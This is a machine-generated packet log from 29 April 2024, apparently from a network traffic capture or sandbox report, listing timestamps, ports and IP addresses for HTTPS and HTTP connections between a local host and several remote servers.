Apr 29, 2024 02:01:38.197356939 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.197366953 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.197411060 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.199846029 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.205034971 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.205044031 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.205085993 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.205096960 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.207513094 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.207556009 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.207566977 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.207600117 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.210135937 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.215204954 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.215248108 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.215257883 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.215292931 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.215302944 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.215379000 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.215419054 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.286622047 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.286633968 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.286669016 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.286685944 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.286689997 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.286695004 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.286714077 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.286734104 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.286741018 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.286763906 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.287379980 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.287386894 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.287405014 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.287411928 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.287414074 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.287420034 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.287432909 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.287448883 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.287453890 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.287482977 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.287787914 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.287796021 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.287810087 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.287817955 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.287825108 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.287834883 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.287842989 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.287863970 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.287889004 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.364314079 CEST	443	49741	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:38.364425898 CEST	443	49741	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:38.364485979 CEST	49741	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:38.408405066 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.408447981 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.408490896 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.408499002 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.408509970 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.408516884 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.408550024 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.408593893 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.408613920 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.408643007 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.410806894 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.449666977 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.529441118 CEST	49772	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:38.529474020 CEST	443	49772	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:38.682832956 CEST	49767	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:38.682878017 CEST	443	49767	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:38.689795971 CEST	49741	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:38.689834118 CEST	443	49741	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:38.693578959 CEST	49723	80	192.168.2.4	72.21.81.240
Apr 29, 2024 02:01:38.739113092 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.739151955 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.739187002 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.739214897 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.739244938 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.739272118 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.739300013 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.739305019 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.739593983 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.739619017 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.739625931 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.739648104 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.739665985 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.739686966 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.739695072 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.739718914 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.740115881 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.740134954 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.740179062 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.740199089 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.740206003 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.740214109 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.740238905 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.740703106 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.741080999 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.741741896 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.741776943 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.741815090 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.741851091 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.741852045 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.741863966 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.741878033 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.741998911 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.742024899 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.742029905 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.742038965 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.742117882 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.742137909 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.742147923 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.743249893 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.743282080 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.743289948 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.743328094 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.743350983 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.743355989 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.743382931 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.743407965 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.743413925 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.743442059 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.743946075 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.743989944 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.744015932 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.744023085 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.744054079 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.744074106 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.744082928 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.744637012 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.744786024 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.744863033 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.744896889 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.744971037 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.745162964 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.803323984 CEST	80	49723	72.21.81.240	192.168.2.4
Apr 29, 2024 02:01:38.803797960 CEST	49723	80	192.168.2.4	72.21.81.240
Apr 29, 2024 02:01:38.900114059 CEST	49771	443	192.168.2.4	104.21.51.164
Apr 29, 2024 02:01:38.900151014 CEST	443	49771	104.21.51.164	192.168.2.4
Apr 29, 2024 02:01:38.938955069 CEST	49749	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:01:38.938986063 CEST	443	49749	40.127.169.103	192.168.2.4
Apr 29, 2024 02:01:39.040465117 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.040488958 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.040611982 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.040921926 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.040930986 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.057739019 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.057743073 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.057775021 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.057775021 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.057843924 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.057846069 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.058193922 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.058209896 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.058276892 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.058291912 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.091049910 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.091100931 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.091487885 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.091752052 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.091769934 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.223582983 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:39.223618984 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:39.223730087 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:39.224008083 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:39.224014044 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:39.290093899 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.292474031 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.292795897 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.292819023 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.293273926 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.293287992 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.293931007 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.294008017 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.294297934 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.294656038 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.298801899 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.298938036 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.299329996 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.299330950 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.299423933 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.299515963 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.299524069 CEST	443	49781	173.208.137.67	192.168.2.4
Apr 29, 2024 02:01:39.305392981 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.319125891 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.332209110 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.332240105 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.332348108 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.332376003 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.333748102 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.333851099 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.333878994 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.333942890 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.340122938 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.356369972 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.356372118 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.356426001 CEST	49781	443	192.168.2.4	173.208.137.67
Apr 29, 2024 02:01:39.356596947 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.356718063 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.358047009 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.358073950 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.358094931 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.358117104 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.453751087 CEST	443	49785	172.67.182.162	192.168.2.4
Apr 29, 2024 02:01:39.455439091 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.455460072 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.511595964 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.511622906 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.511641026 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.511642933 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.511653900 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.511677980 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.511702061 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.511712074 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.511718988 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.518943071 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.518980980 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.519011021 CEST	49785	443	192.168.2.4	172.67.182.162
Apr 29, 2024 02:01:39.519013882 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.519013882 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.519023895 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.519032001 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.519071102 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.522401094 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.526070118 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.526104927 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.526118040 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.526129007 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.526168108 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.527314901 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.529727936 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.533477068 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.533499002 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.533525944 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.533538103 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.533581972 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.537226915 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.540708065 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.540735960 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.540750027 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.540756941 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.540796995 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.541260958 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.541270971 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.541301966 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.541311979 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.541315079 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.541326046 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.541344881 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.541361094 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.541361094 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.541371107 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.541382074 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.544331074 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.544420958 CEST	443	49783	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.544462919 CEST	49783	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.564420938 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.564435005 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.564455986 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.564466000 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.564469099 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.564488888 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.564492941 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.564517021 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.564543962 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.606328964 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.606369972 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.606395960 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.606419086 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.606456995 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.606484890 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.606501102 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.608678102 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.608721972 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.608735085 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.611262083 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.611329079 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.611341000 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.613821983 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.613883018 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.613895893 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.616355896 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.616414070 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.616425037 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.621474981 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.621514082 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.621532917 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.621545076 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.621579885 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.624047041 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.626601934 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.626677990 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.626692057 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.629292965 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.629348040 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.629359961 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.631716013 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.631741047 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.631762981 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.631774902 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.631814003 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.634318113 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.635632992 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.637417078 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.637473106 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.637485981 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.640661001 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.640688896 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.640712976 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.640724897 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.640759945 CEST	49784	443	192.168.2.4	104.18.42.227
Apr 29, 2024 02:01:39.643217087 CEST	443	49784	104.18.42.227	192.168.2.4
Apr 29, 2024 02:01:39.649005890 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.649020910 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.649049997 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.649065018 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.649072886 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.649080992 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.649095058 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.649106026 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.649142027 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.667110920 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.667125940 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.667169094 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.667185068 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.667198896 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.667218924 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.667234898 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.667252064 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.672605038 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.672669888 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.672686100 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.672703028 CEST	443	49782	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:39.672719955 CEST	49782	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:39.672744036 CEST	49782	443	192.168.2.4	199.36.158.100
